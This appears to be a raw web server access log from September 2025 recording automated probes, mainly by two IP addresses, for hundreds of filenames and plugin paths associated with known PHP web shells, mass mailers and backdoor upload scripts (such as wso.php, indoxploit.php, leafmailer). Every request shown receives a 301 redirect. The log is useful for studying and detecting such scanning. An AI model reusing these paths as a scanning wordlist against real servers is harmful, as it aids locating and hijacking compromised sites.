196.251.80.56 - - [23/Sep/2025:15:08:52 -0400] "GET /imaje.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:08:56 -0400] "GET /imel.php.jpg HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:09:00 -0400] "GET /in.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:09:04 -0400] "GET /inashell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:09:08 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:09:12 -0400] "GET /inde--.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:09:15 -0400] "GET /index.aspx HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:09:21 -0400] "GET /index.php.bak HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:09:25 -0400] "GET /index.php.html HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:09:28 -0400] "GET /index.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:09:32 -0400] "GET /index.shtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:09:34 -0400] "GET /index_data.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:09:39 -0400] "GET /indexbbb.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:09:48 -0400] "GET /indexx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:09:51 -0400] "GET /indomart.php6 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:06:35 -0400] "GET /hi-1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:06:44 -0400] "GET /hidecss.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:06:46 -0400] "GET /hk196500.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:06:48 -0400] "GET /hmmm77.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:06:51 -0400] "GET /hojadevida.jpg.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:06:55 -0400] "GET /holaa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:07:02 -0400] "GET /holden.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:07:03 -0400] "GET /hop_less.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:07:05 -0400] "GET /hopz.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:07:13 -0400] "GET /html.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:07:22 -0400] "GET /huft.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:07:33 -0400] "GET /humble.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:07:39 -0400] "GET /iEx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:07:55 -0400] "GET /ichi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:08:12 -0400] "GET /icon_images.gif.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:08:18 -0400] "GET /icp.php.jpg HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:08:22 -0400] "GET /ids-final.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:08:26 -0400] "GET /ids.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:08:28 -0400] "GET /idsv2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:08:30 -0400] "GET /idx3.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:08:40 -0400] "GET /im.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:08:43 -0400] "GET /image.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:08:47 -0400] "GET /image.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:09:18 -0400] "GET /index.php.backup HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:09:43 -0400] "GET /indexedd.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:10:00 -0400] "GET /indoshell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:10:09 -0400] "GET /infodex.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:10:20 -0400] "GET /init.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:10:22 -0400] "GET /internal.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:10:24 -0400] "GET /ipX.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:10:27 -0400] "GET /iq.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:10:30 -0400] "GET /irvfdyhx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:10:47 -0400] "GET /ix.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:10:52 -0400] "GET /j.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:10:56 -0400] "GET /j0ky.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:11:01 -0400] "GET /j41shell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:11:05 -0400] "GET /jateng-xploit.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:09:57 -0400] "GET /indosec_shell_final.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:10:05 -0400] "GET /infect.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:10:14 -0400] "GET /infolog.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:10:17 -0400] "GET /ini%20shell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:10:35 -0400] "GET /isal.fla.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:10:38 -0400] "GET /its.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:10:42 -0400] "GET /ix.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:11:09 -0400] "GET /java.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:11:23 -0400] "GET /jemboedSHELL.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:11:26 -0400] "GET /jembot.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:11:29 -0400] "GET /jerrok.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:11:45 -0400] "GET /jombang666.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:11:55 -0400] "GET /jpepek.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:12:04 -0400] "GET /jr.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:12:07 -0400] "GET /js.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:12:11 -0400] "GET /juana.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:12:19 -0400] "GET /k33n.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:12:30 -0400] "GET /kage.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:12:35 -0400] "GET /kaguya.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:12:40 -0400] "GET /kailu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:12:43 -0400] "GET /kaito.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:12:46 -0400] "GET /kamu-kok.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:12:49 -0400] "GET /kamu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:12:52 -0400] "GET /kang.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:12:57 -0400] "GET /kasl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:13:00 -0400] "GET /kawaii.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:13:04 -0400] "GET /kctshell1928.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:13:15 -0400] "GET /ker.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:13:24 -0400] "GET /kevinX.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:13:33 -0400] "GET /kh.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:13:39 -0400] "GET /khell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:13:59 -0400] "GET /kitmiku.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:14:05 -0400] "GET /kitmini.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:14:08 -0400] "GET /kkp.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:14:13 -0400] "GET /kl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:14:16 -0400] "GET /km.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:14:19 -0400] "GET /kntl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:14:22 -0400] "GET /kochengwibu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:14:25 -0400] "GET /koclokganz.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:14:33 -0400] "GET /kopi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:14:57 -0400] "GET /kuy.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:15:07 -0400] "GET /kxp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:15:14 -0400] "GET /kxqywyjwpr.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:15:20 -0400] "GET /kyndel.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:15:24 -0400] "GET /l3x4.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:15:33 -0400] "GET /lagira.aspx HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:15:37 -0400] "GET /lal.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:15:42 -0400] "GET /lamerler.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:15:46 -0400] "GET /langues.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:15:51 -0400] "GET /laod.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:15:56 -0400] "GET /lapendos.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:16:11 -0400] "GET /leafmailer2.8%20(1).php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:11:13 -0400] "GET /jbt.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:11:15 -0400] "GET /jdh.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:11:19 -0400] "GET /jel.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:11:33 -0400] "GET /jisul099.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:11:36 -0400] "GET /jjp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:11:39 -0400] "GET /jkt.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:11:41 -0400] "GET /jmbt.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:11:48 -0400] "GET /jon.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:11:58 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:12:16 -0400] "GET /k2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:12:23 -0400] "GET /ka.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:12:26 -0400] "GET /kafir.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:13:06 -0400] "GET /kedor.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:13:09 -0400] "GET /kentod.php7 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:13:13 -0400] "GET /kenzi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:13:17 -0400] "GET /kerang.pdf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:13:20 -0400] "GET /kero.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:13:26 -0400] "GET /key.aspx HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:13:30 -0400] "GET /keygans.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:13:42 -0400] "GET /kholilGans.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:13:46 -0400] "GET /kiddie.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:13:51 -0400] "GET /king.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:13:55 -0400] "GET /kintol.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:14:29 -0400] "GET /kop.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:14:38 -0400] "GET /kqqqq.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:14:42 -0400] "GET /kru333.php HTTP/1.1" 301 795 "-" "-"
45.149.173.211 - - [23/Sep/2025:15:14:45 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
196.251.80.56 - - [23/Sep/2025:15:14:46 -0400] "GET /ks.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:14:49 -0400] "GET /kstmp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:14:53 -0400] "GET /kuat.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:15:01 -0400] "GET /kwok.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:15:29 -0400] "GET /l4y.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:16:02 -0400] "GET /lastlogin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:16:07 -0400] "GET /leafmaile.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:16:19 -0400] "GET /leafsuit.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:16:25 -0400] "GET /legend.php HTTP/1.1" 301 795 "-" "-"
13.40.72.148 - - [23/Sep/2025:15:16:25 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
206.189.247.132 - - [23/Sep/2025:15:16:25 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
45.133.173.29 - - [23/Sep/2025:15:16:25 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:15:16:46 -0400] "GET /library.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:16:16 -0400] "GET /leafmailer2.8(1).php HTTP/1.1" 301 795 "-" "-"
146.190.11.185 - - [23/Sep/2025:15:16:26 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:15:16:28 -0400] "GET /leksak.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:16:30 -0400] "GET /lenovo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:16:35 -0400] "GET /ler.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:16:38 -0400] "GET /lex.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:16:42 -0400] "GET /li.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:16:56 -0400] "GET /licence.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:17:21 -0400] "GET /log_.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:17:29 -0400] "GET /wp-content/plugins/upspy/index.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
130.211.50.131 - - [23/Sep/2025:15:17:31 -0400] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
130.211.50.131 - - [23/Sep/2025:15:17:35 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:17:37 -0400] "GET /lol517cat.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:17:37 -0400] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:17:41 -0400] "GET /looop.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:17:48 -0400] "GET /loopback.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:17:53 -0400] "GET /lover.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:17:55 -0400] "GET /lul.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:17:59 -0400] "GET /lul.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:18:06 -0400] "GET /lupain_dia.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:18:07 -0400] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
130.211.50.131 - - [23/Sep/2025:15:18:10 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
130.211.50.131 - - [23/Sep/2025:15:18:16 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:18:21 -0400] "GET /luzog.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:18:28 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:18:32 -0400] "GET /m1n12.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:18:44 -0400] "GET /macibay.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:18:50 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
130.211.50.131 - - [23/Sep/2025:15:18:56 -0400] "GET /wp-content/vuln.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:18:57 -0400] "GET /madruga.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:19:09 -0400] "GET /wp-content/plugins/ppus/up.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
130.211.50.131 - - [23/Sep/2025:15:19:11 -0400] "GET /098.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:19:14 -0400] "GET /mailerfb.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:19:26 -0400] "GET /maillepro2017.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:19:41 -0400] "GET /makesmtp-extractor.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:19:45 -0400] "GET /malorr.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:19:47 -0400] "GET /mama.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:19:47 -0400] "GET /wp-content/plugins/theme-configurator/mini.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:16:52 -0400] "GET /libs-func.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:16:59 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:17:04 -0400] "GET /lio.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:17:08 -0400] "GET /llehs.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:17:11 -0400] "GET /wp-includes/css/modules.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:17:12 -0400] "GET /localshell.aspx HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:17:18 -0400] "GET /loco.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:17:23 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:17:24 -0400] "GET /login_driver.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:17:27 -0400] "GET /logo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:17:30 -0400] "GET /logout_old.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:17:32 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:17:34 -0400] "GET /logsuz-alfa.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:17:34 -0400] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
130.211.50.131 - - [23/Sep/2025:15:17:50 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:17:51 -0400] "GET /lope.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:17:57 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:18:12 -0400] "GET /luppi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:18:17 -0400] "GET /lurrrrkntl.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:18:22 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:18:24 -0400] "GET /lwiza.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:18:25 -0400] "GET /wp-content/uploads/2025/09/ HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:18:26 -0400] "GET /lxrdk1773n.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:18:36 -0400] "GET /m4ss.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:18:38 -0400] "GET /wp-admin/network/wp-footer.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:18:40 -0400] "GET /ma.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:18:49 -0400] "GET /mad.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:18:53 -0400] "GET /madada.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:18:58 -0400] "GET /upel.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:19:00 -0400] "GET /mahyar.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:19:07 -0400] "GET /mailer2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:19:11 -0400] "GET /mailer23.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:19:18 -0400] "GET /mailerv5.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:19:22 -0400] "GET /mailerx.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:19:27 -0400] "GET /V5.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:19:29 -0400] "GET /mailler$$.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:19:32 -0400] "GET /main.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:19:34 -0400] "GET /new_license.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:19:35 -0400] "GET /mak.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:19:38 -0400] "GET /makassar.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:19:51 -0400] "GET /manager.aspx HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:19:50 -0400] "GET /wp-content/plugins/widget-logic/mini.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
130.211.50.131 - - [23/Sep/2025:15:19:53 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:19:56 -0400] "GET /manta.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:20:05 -0400] "GET /modules/modules/modules.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:20:06 -0400] "GET /marchia.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:20:16 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/Clean.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:20:24 -0400] "GET /mart.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:20:27 -0400] "GET /mase.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:20:35 -0400] "GET /mazx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:20:38 -0400] "GET /mc.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:20:42 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
